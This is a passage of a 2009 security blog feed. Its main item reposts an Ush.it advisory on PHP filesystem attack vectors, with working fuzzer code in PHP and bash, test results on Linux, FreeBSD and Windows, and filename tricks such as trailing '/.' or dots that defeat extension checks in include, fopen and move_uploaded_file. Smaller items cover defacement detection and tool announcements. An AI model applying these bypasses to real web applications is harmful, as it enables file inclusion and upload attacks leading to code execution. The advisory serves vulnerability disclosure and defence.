a &lt;span class="caps"&gt;HTML&lt;/span&gt; page, is to compute and check his checksum with a hash
algorithm like &lt;span class="caps"&gt;MD5&lt;/span&gt; or &lt;span class="caps"&gt;SHA1&lt;/span&gt;.&lt;/div&gt;
&lt;div class="line"&gt;Only a little change in the monitored web page generate a different
checksum, so you can detect a defacement.&lt;/div&gt;
&lt;div class="line"&gt;This works well for &amp;#8220;best of &amp;#8216;90s&amp;#8221; web sites which uses only static
content, but for today&amp;#8217;s web pages with contents that change at every
reload this technique is quite obsolete.&lt;/div&gt;
&lt;div class="line"&gt;For example a web page with a counter or a timers inside changes his
content at every reload and the checksum is continually different.&lt;/div&gt;
&lt;div class="line"&gt;Moreover this type of check cannot observe a threshold based system
because it&amp;#8217;s a comparison with a true or false result.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="diff-comparison"&gt;
&lt;h2&gt;2.2 Diff&amp;nbsp;comparison&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;There are some libraries in python and ruby implementing the widely
known unix tool diff, using it we can get the difference between two
web pages.&lt;/div&gt;
&lt;div class="line"&gt;We can use a threshold based system learning the usual difference
percentage of a web page and check if a changeset is under the usual
threshold.&lt;/div&gt;
&lt;div class="line"&gt;This is a very fast but very effective technique which works well in
most dynamic sites.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="dom-tree-analysis"&gt;
&lt;h2&gt;2.3 &lt;span class="caps"&gt;DOM&lt;/span&gt; tree&amp;nbsp;analysis&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;This is a similar strategy to the diff comparison, but is used the &lt;span class="caps"&gt;DOM&lt;/span&gt;
tree instead of the plain &lt;span class="caps"&gt;HTML&lt;/span&gt; content for the comparison.&lt;/div&gt;
&lt;div class="line"&gt;The layout of a website changes, tags and properties, have little
changes during time. Using this fact you can build up a threshold
based system as above.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="complex-algorithms"&gt;
&lt;h2&gt;2.4 Complex&amp;nbsp;algorithms&lt;/h2&gt;
&lt;p&gt;You can design a lot of algorithms, or use some of the already known,
but this is a very expensive work. I haven&amp;#8217;t used any complex logic or
algorithm but if you want to follow this way you can find a lot of
academic papers about this&amp;nbsp;field.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="signature-detection"&gt;
&lt;h2&gt;3. Signature&amp;nbsp;detection&lt;/h2&gt;
&lt;p&gt;The web pages are examined for pre-configured and predetermined attack
patterns known as signatures. Many attacks today have distinct
signatures. The collection of these signatures must be constantly
updated to mitigate emerging threats. I used the wide database of
&lt;a class="reference external" href="http://www.zone-h.org"&gt;Zone-h&lt;/a&gt; to build a signature set always&amp;nbsp;updated.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="thresholds-and-worst-cases"&gt;
&lt;h2&gt;4. Thresholds and worst&amp;nbsp;cases&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;The bigger effort is design the engagement rules and tuning good
thresholds.&lt;/div&gt;
&lt;div class="line"&gt;The percentage of changes in a website can change during time, an
evaluation of both anomaly detection and signature detection
techniques, using a weighted logic can help to reduce false positives.&lt;/div&gt;
&lt;div class="line"&gt;You must remember that you need to deal with website restyling, layout
changes, widgets and banners that can be removed or added.&lt;/div&gt;
&lt;div class="line"&gt;As today there are some worst cases that causes false negatives:
defacement done via javascript (levaraging on a &lt;span class="caps"&gt;XSS&lt;/span&gt; vulnerability) or
via &lt;span class="caps"&gt;CSS&lt;/span&gt;, or partial defacements (do you remember the securityfocus.com
defacement?) where only a part, like an image or a banner, of the
website changes.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="Research"></category><category term="defacement"></category><category term="detection"></category><category term="website monitoring"></category></entry><entry><title>PHP Filesystem Attack Vectors @ Ush.it</title><link href="https://jekil.sexy/blog/2009/php-filesystem-attack-vectors-ush-it.html" rel="alternate"></link><published>2009-07-28T21:30:00+01:00</published><updated>2009-07-28T21:30:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2009-07-28:/blog/2009/php-filesystem-attack-vectors-ush-it.html</id><summary type="html">&lt;p&gt;The &lt;a class="reference external" href="http://www.ush.it"&gt;Ush.it&lt;/a&gt; team published the second part of
&amp;#8220;&lt;a class="reference external" href="http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/"&gt;&lt;span class="caps"&gt;PHP&lt;/span&gt; Filesystem Attack
Vectors&lt;/a&gt;&amp;#8221;
paper. The original paper
is available &lt;a class="reference external" href="http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/"&gt;here&lt;/a&gt; and you can download it &lt;a class="reference external" href="https://jekil.sexy/public/advisory/phpfs_mad-2009/phpfs_mad_2.txt"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;PHP filesystem attack vectors - Take Two

 Name              PHP filesystem attack vectors - Take Two
 Systems Affected  PHP and PHP+Suhosin
 Vendor            http://www.php.net/
 Advisory          http://www_ush_it/team/ush/hack-phpfs/phpfs_mad_2.txt
 Authors           Giovanni &amp;quot;evilaliv3&amp;quot; Pellerano (evilaliv3 AT ush DOT it)
                   Antonio &amp;quot;s4tan&amp;quot; Parata (s4tan AT ush DOT it)
                   Francesco &amp;quot;ascii&amp;quot; Ongaro (ascii AT ush DOT it)
                   Alessandro &amp;quot;jekil&amp;quot; Tanasi (alessandro AT tanasi DOT it)
 Date              20090725

I)    Introduction
II)   PHP arbitrary Local File …&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;The &lt;a class="reference external" href="http://www.ush.it"&gt;Ush.it&lt;/a&gt; team published the second part of
&amp;#8220;&lt;a class="reference external" href="http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/"&gt;&lt;span class="caps"&gt;PHP&lt;/span&gt; Filesystem Attack
Vectors&lt;/a&gt;&amp;#8221;
paper. The original paper
is available &lt;a class="reference external" href="http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/"&gt;here&lt;/a&gt; and you can download it &lt;a class="reference external" href="https://jekil.sexy/public/advisory/phpfs_mad-2009/phpfs_mad_2.txt"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;PHP filesystem attack vectors - Take Two

 Name              PHP filesystem attack vectors - Take Two
 Systems Affected  PHP and PHP+Suhosin
 Vendor            http://www.php.net/
 Advisory          http://www_ush_it/team/ush/hack-phpfs/phpfs_mad_2.txt
 Authors           Giovanni &amp;quot;evilaliv3&amp;quot; Pellerano (evilaliv3 AT ush DOT it)
                   Antonio &amp;quot;s4tan&amp;quot; Parata (s4tan AT ush DOT it)
                   Francesco &amp;quot;ascii&amp;quot; Ongaro (ascii AT ush DOT it)
                   Alessandro &amp;quot;jekil&amp;quot; Tanasi (alessandro AT tanasi DOT it)
 Date              20090725

I)    Introduction
II)   PHP arbitrary Local File Inclusion testing
III)  PHP arbitrary Local File Inclusion results
IV)   PHP arbitrary File Open testing
V)    PHP arbitrary File Open results
VI)   PHP arbitrary Remote File Upload testing
VII)  PHP arbitrary Remote File Upload results
VIII) Conclusions
IX)   References

I) Introduction

This is the second part and continuation of our previous &amp;quot;PHP filesystem
attack vectors&amp;quot; [1] research.

Working with s4tan and ascii on the &amp;quot;SugarCRM 5.2.0e Remote Code
Execution&amp;quot; advisory [2] we noticed a strange behaviour on Windows OS:
trying to upload a file named &amp;quot;a.php.&amp;quot; results in just &amp;quot;a.php&amp;quot;.

Analyzing this we noticed that every time an application, or manually,
was trying to open or save a file with one ore more dots at the end,
Windows was not denying the operation, but it was removing the dots in a
transparent way.

Mindful readers probably have already spotted the issue.

We wanted to take our time for a deeper investigation about what
normalization issues were available and how to take advantage of them
in order to exploit arbitrary local file inclusion/handling and uploads
functionalities (not only on Windows OS but also on GNU/Linux and *BSD).

Below you can find the sources of two simple &amp;quot;academic&amp;quot; fuzzers, later
results are discussed and finally POCs and conclusions are proposed.

II) PHP arbitrary Local File Inclusion testing

This tests include(), include_once(), require(), require_once() and
similiar functions.

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

alfi_fuzzer.php:

&amp;lt;?php

error_reporting(0);

$InterestingFile = &amp;quot;test_alfi.php&amp;quot;;
$fh = @fopen($InterestingFile, &amp;#39;w+&amp;#39;);
fwrite($fh, &amp;quot;&amp;lt;?php ?&amp;gt;&amp;quot;);
fclose($fh);

for ($i = 1; $i &amp;lt; 256; $i++) {
 $chri = chr($i);
 for ($j = 0; $j &amp;lt; 256; $j++) {
  $chrj = chr($j);
  for ($k = 0; $k &amp;lt; 256; $k++) {
    $chrk = chr($k);
    if($chri.$chrj.$chrk == &amp;#39;://&amp;#39;) continue;
    if ($j == 0) $FuzzyFile = $InterestingFile.$chri;
    else if ($k == 0) $FuzzyFile = $InterestingFile.$chri.$chrj;
    else $FuzzyFile = $InterestingFile.$chri.$chrj.$chrk;
    if(include($FuzzyFile)) {
        print($i.&amp;quot; &amp;quot;.$j.&amp;quot; &amp;quot;.$k.&amp;quot; [&amp;quot;.$FuzzyFile.&amp;quot;]\n&amp;quot;);
        fclose($fh);
    }
    if($j == 0) break;
  }
 }
}

unlink($InterestingFile);

?&amp;gt;

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

Note: This code and the one that will be presented in section IV only
makes use of chars from the ASCII extended table (256 chars) to limit the
combinations because our intent was to test not only a malicious ending
char but a whole ending &amp;quot;extension&amp;quot; of 3 bytes.

A better fuzzer would include UTF-8. In the test we also do not
consider \x00, because this vector is already known [3, 4].

III) PHP arbitrary Local File Inclusion results

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

PHP 5.2.10-pl0-Gentoo

PHPFS_MAD2 $ php alfi_fuzzer.php
47 46 46 [test_alfi.php/.]
47 47 47 [test_alfi.php//.]

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27

PHPFS_MAD2 $ php alfi_fuzzer.php

[ NO RESULTS ]

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7

PHPFS_MAD2 $ php alfi_fuzzer.php

[ NO RESULTS ]

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;-

PHP 5.3.0 Windows XP (WampServer 2.0i install)

C:\PHPFS_MAD2&amp;gt; php alfi_fuzzer.php
! Valid chars are: \x20 ( ), \x22 (&amp;quot;), \x2E (.), \x3C (&amp;lt;), \x3E (&amp;gt;)
! Valid strings are all combinations of the above chars.

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)

C:\PHPFS_MAD2&amp;gt; php alfi_fuzzer.php
! Valid chars are: \x20 ( ), \x22 (&amp;quot;), \x2E (.), \x3C (&amp;lt;), \x3E (&amp;gt;)
! Valid strings are all combinations of the above chars.

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

IV) PHP arbitrary File Open testing

This tests fopen() and similiar functions.

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

afo_fuzzer.php:

&amp;lt;?php

error_reporting(0);

$MaliciousFile = &amp;quot;test_afo.php&amp;quot;;

for ($i = 1; $i &amp;lt; 256; $i++) {
 $chri = chr($i);
 for ($j = 0; $j &amp;lt; 256; $j++) {
  $chrj = chr($j);
  for ($k = 0; $k &amp;lt; 256; $k++) {
    if ($j == 0) $FuzzyFile = $MaliciousFile.$chri;
    else if ($k == 0) $FuzzyFile = $MaliciousFile.$chri.$chrj;
    else $FuzzyFile = $MaliciousFile.$chri.$chrj.chr($k);
    $fh = @fopen($FuzzyFile, &amp;#39;w+&amp;#39;);
    if ($fh != FALSE) {
        fwrite($fh, $FuzzyFile);
        fclose($fh);
        if (file_exists($MaliciousFile)) {
            if ($j == 0) print($i.&amp;quot; &amp;quot;);
            else if ($k == 0) print($i.&amp;quot; &amp;quot;.$j.&amp;quot; &amp;quot;);
            else $FuzzyFile = print($i.&amp;quot; &amp;quot;.$j.&amp;quot; &amp;quot;.$k.&amp;quot; &amp;quot;);
            print(&amp;quot;[&amp;quot;.file_get_contents($MaliciousFile).&amp;quot;]\n&amp;quot;);
            unlink($MaliciousFile);
        } else
            unlink($FuzzyFile);
    }
    if($j == 0)
        break;
  }
 }
}

?&amp;gt;

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

V) PHP arbitrary File Open Fuzzer results

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

PHP 5.2.10-pl0-Gentoo

PHPFS_MAD2 $ php afo_fuzzer.php
47 46 [test_afo.php/.]
47 47 46 [test_afo.php//.]

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27

PHPFS_MAD2 $ php afo_fuzzer.php

[ NO RESULTS ]

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;-

PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7

PHPFS_MAD2 $ php afo_fuzzer.php

47 46 [test_afo.php/.]
47 47 46 [test_afo.php//.]

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;-

PHP 5.3.0 Windows XP (WampServer 2.0i install)

C:\PHPFS_MAD2&amp;gt; php afo_fuzzer.php

! Valid chars are: \x2E (.), \x2F (/), \x5C (\)
! Valid strings are all combinations of the above chars.

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)

C:\PHPFS_MAD2&amp;gt; php afo_fuzzer.php

! Valid chars are: \x2E (.), \x2F (/), \x5C (\)
! Valid strings are all combinations of the above chars.

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

VI) PHP arbitrary Remote File Upload testing

This tests move_uploaded_file() and similiar functions.

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

upload.php:

&amp;lt;?php

error_reporting(0);

$MaliciousFile = &amp;quot;evil.php&amp;quot;;

if (isset($_GET[&amp;#39;fuzzy&amp;#39;])) {
  $FuzzyDestination = $MaliciousFile.$_GET[&amp;#39;fuzzy&amp;#39;];
  move_uploaded_file($_FILES[&amp;#39;userfile&amp;#39;][&amp;#39;tmp_name&amp;#39;], $FuzzyDestination);
  printf($FuzzyDestination);
  if (file_exists($MaliciousFile)) {
          echo &amp;quot;SUCCESS&amp;quot;;
          unlink($MaliciousFile);
          exit();
  } else {
          unlink($FuzzyDestination);
  }
}

echo &amp;quot;FAIL&amp;quot;;

?&amp;gt;

arfu_fuzzer.sh:

#!/bin/bash

touch &amp;quot;uploadtest.txt&amp;quot;
url=&amp;quot;http://127.0.0.1/uploads/upload.php?fuzzy=&amp;quot;

for i in {1..255}; do
 xi=&amp;quot;%`printf %02x $i`&amp;quot;
 for j in {0..255}; do
  xj=&amp;quot;%`printf %02x $j`&amp;quot;
  for k in {0..255}; do
   xk=&amp;quot;%`printf %02x $k`&amp;quot;

   ext=&amp;quot;$xi$xj$xk&amp;quot;
   [ $k -eq 0 ] &amp;amp;&amp;amp; ext=&amp;quot;$xi$xj&amp;quot;
   [ $k -eq 0 ] &amp;amp;&amp;amp; [ $j -eq 0 ] &amp;amp;&amp;amp; ext=&amp;quot;$xi&amp;quot;

   response=`curl -kis -F &amp;quot;userfile=@uploadtest.txt;&amp;quot; $url$ext | grep
SUCCESS | wc -l`

   if [ &amp;quot;$response&amp;quot; == &amp;quot;1&amp;quot; ]; then
     echo &amp;quot;Found: $i $j $k -&amp;gt; ($ext)&amp;quot;;
   fi

   [ $j -eq 0 ] &amp;amp;&amp;amp; break

  done
 done
done

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

VII) PHP arbitrary Remote File Upload results

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

PHP 5.2.10-pl0-Gentoo

PHPFS_MAD2 $ sh test_arfu.sh

FOUND: 47 0 0 -&amp;gt; (/)
FOUND: 47 46 0 -&amp;gt; (/.)

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

PHP 5.2.10-pl0-Gentoo + Suhosin-Patch 0.9.27

PHPFS_MAD2 $ sh test_arfu.sh

FOUND: 47 0 0 -&amp;gt; (/)
FOUND: 47 46 0 -&amp;gt; (/.)

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;-

PHP 5.2.10-FreeBSD 7.3 + Suhosin-Patch 0.9.7

PHPFS_MAD2 $ sh test_arfu.sh

FOUND: 47 46 0 -&amp;gt; (/.)

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;-

PHP 5.3.0 Windows XP (WampServer 2.0i install)

PHPFS_MAD2 $ sh test_arfu.sh

[ All the combinations of (space), ., /, \ are valid ones. ]

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

PHP 5.3.0 Windows Server 2008 (WampServer 2.0i install)

PHPFS_MAD2 $ sh test_arfu.sh

[ All the combinations of (space), ., /, \ are valid ones. ]

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

VIII) Conclusions

We found that it&amp;#39;s possible to take advantage of filename normalization
routines in order to bypass common web application security routines,
detailed below:

- On GNU/Linux both (include|require)(_once)? functions will convert
  &amp;quot;foo.php&amp;quot; followed by one or more sequences of \x2F (/) and \x2E (.)
  back to &amp;quot;foo.php&amp;quot;.
  This does not work if Suhosin patch is applied.

- On GNU/Linux the fopen function will convert &amp;quot;foo.php&amp;quot; followed by one
  or more sequences of \x2F (/) and \x2E (.) back to &amp;quot;foo.php&amp;quot;.
  This does not work if Suhosin patch is applied.

- On GNU/Linux move_uploaded_file function will convert &amp;quot;foo.php&amp;quot;
  followed by one or more sequences of \x2F (/) and \x2E (.) back to
  &amp;quot;foo.php&amp;quot;.
  This does work anyway *also* if Suhosin patch is applied.

- On FreeBSD the fopen function will convert &amp;quot;foo.php&amp;quot; followed by one
  or more sequences of \x2F (/) and \x2E (.) back to &amp;quot;foo.php&amp;quot;.
  This does work anyway *also* if Suhosin patch is applied.
  Suhosin is shipped in the the default install.

- On FreeBSD the move_uploaded_file function will convert &amp;quot;foo.php&amp;quot;
  followed by one or more sequences of \x2F (/) and \x2E (.) back to
  &amp;quot;foo.php&amp;quot;.
  This does work anyway *also* if Suhosin patch is applied.
  Suhosin is shipped in the the default install.

- On Windows OS both (include|require)(_once)? functions will convert
  &amp;quot;foo.php&amp;quot; followed by one or more of the chars \x20 ( ), \x22 (&amp;quot;),
  \x2E (.), \x3C (&amp;lt;), \x3E (&amp;gt;) back to &amp;quot;foo.php&amp;quot;.

- On Windows OS the fopen function will convert &amp;quot;foo.php&amp;quot; followed by
  one or more of the chars \x2E (.), \x2F (/), \x5C (\) back to
  &amp;quot;foo.php&amp;quot;.

- On Windows OS move_uploaded_file function will convert &amp;quot;foo.php&amp;quot;
  followed by one or more of the chars \x2E (.), \x2F (/), \x5C (\)
  back to &amp;quot;foo.php&amp;quot;.

  We have observed that some particular strings like &amp;quot;foo.php./&amp;quot; or
  &amp;quot;foo.php.\&amp;quot; force Windows to create a file called &amp;quot;foo.php.&amp;quot;. It
  seems that Windows&amp;#39; functions do not contemplate the existence of
  a file with dots at the end (perhaps Windows hackers can better
  comment on this).

  All functions on that file will fail their attempt, so that it&amp;#39;s not
  possible to easily delete or rename that file (one has to do del *
  or similiar).

IX) References

[1] http://www_ush_it/2009/02/08/php-filesystem-attack-vectors/
    http://www_ush_it/team/ush/hack-phpfs/phpfs_mad.txt
[2] http://www_ush_it/team/ush/hack-sugarcrm_520e/adv.txt
[3] http://www.securiteam.com/securitynews/5FP0C0KJPQ.html
[4] http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

Credits (Out of band)

This article has been bought to you by the ush.it team. Giovanni
&amp;quot;evilaliv3&amp;quot; Pellerano, Antonio &amp;quot;s4tan&amp;quot; Parata and Francesco &amp;quot;ascii&amp;quot;
Ongaro are the ones who spent most hours on it with the precious help
of Alessandro &amp;quot;Jekil&amp;quot; Tanasi, Florin &amp;quot;Slippery&amp;quot; Iamandi and many other
friends.

Giovanni &amp;quot;evilaliv3&amp;quot; Pellerano
web site: http://www_ush_it/, http://www.evilaliv3.org/
mail: evilaliv3 AT ush DOT it

Antonio &amp;quot;s4tan&amp;quot; Parata
web site: http://www_ush_it/
mail: s4tan AT ush DOT it

Francesco &amp;quot;ascii&amp;quot; Ongaro
web site: http://www_ush_it/
mail: ascii AT ush DOT it

Alessandro &amp;quot;jekil&amp;quot; Tanasi
web site: http://www.tanasi.it/
mail: alessandro AT tanasi DOT it

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

Legal Notices

Copyright (c) 2009 Francesco &amp;quot;ascii&amp;quot; Ongaro

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the article is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
&lt;/pre&gt;&lt;/div&gt;
</content><category term="Research"></category><category term="attack vector"></category><category term="filesystem"></category><category term="PHP"></category></entry><entry><title>Follow Secdocs on Twitter</title><link href="https://jekil.sexy/blog/2009/follow-secdocs-on-twitter.html" rel="alternate"></link><published>2009-07-03T01:05:00+01:00</published><updated>2009-07-03T01:05:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2009-07-03:/blog/2009/follow-secdocs-on-twitter.html</id><content type="html">&lt;div class="line-block"&gt;
&lt;div class="line"&gt;You can follow &lt;a class="reference external" href="http://secdocs.lonerunners.net"&gt;SecDocs&lt;/a&gt; updates on
&lt;a class="reference external" href="http://twitter.com/secdocs"&gt;Twitter&lt;/a&gt; now! With few lines of ruby
code and &lt;a class="reference external" href="http://twitter4r.rubyforge.org"&gt;twitter4r&lt;/a&gt; gem now each
new document added to &lt;a class="reference external" href="http://secdocs.lonerunners.net"&gt;SecDocs&lt;/a&gt; is
posted as twitter status update.&lt;/div&gt;
&lt;div class="line"&gt;If you prefer twitter to &lt;a class="reference external" href="http://secdocs.lonerunners.net/feed"&gt;&lt;span class="caps"&gt;RSS&lt;/span&gt;
feed&lt;/a&gt; subscribe to
&amp;#64;&lt;a class="reference external" href="http://twitter.com/secdocs"&gt;secdocs&lt;/a&gt; updates.&lt;/div&gt;
&lt;/div&gt;
</content><category term="Blog"></category><category term="secdocs"></category><category term="twitter"></category></entry><entry><title>hostmap 0.1 released</title><link href="https://jekil.sexy/blog/2009/hostmap-01-released.html" rel="alternate"></link><published>2009-05-14T00:22:00+01:00</published><updated>2009-05-14T00:22:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2009-05-14:/blog/2009/hostmap-01-released.html</id><content type="html">&lt;p&gt;I am happy to announce&amp;nbsp;hostmap:&lt;/p&gt;
&lt;blockquote&gt;
&lt;strong&gt;hostmap&lt;/strong&gt; is a free, automatic, hostnames and virtual hosts
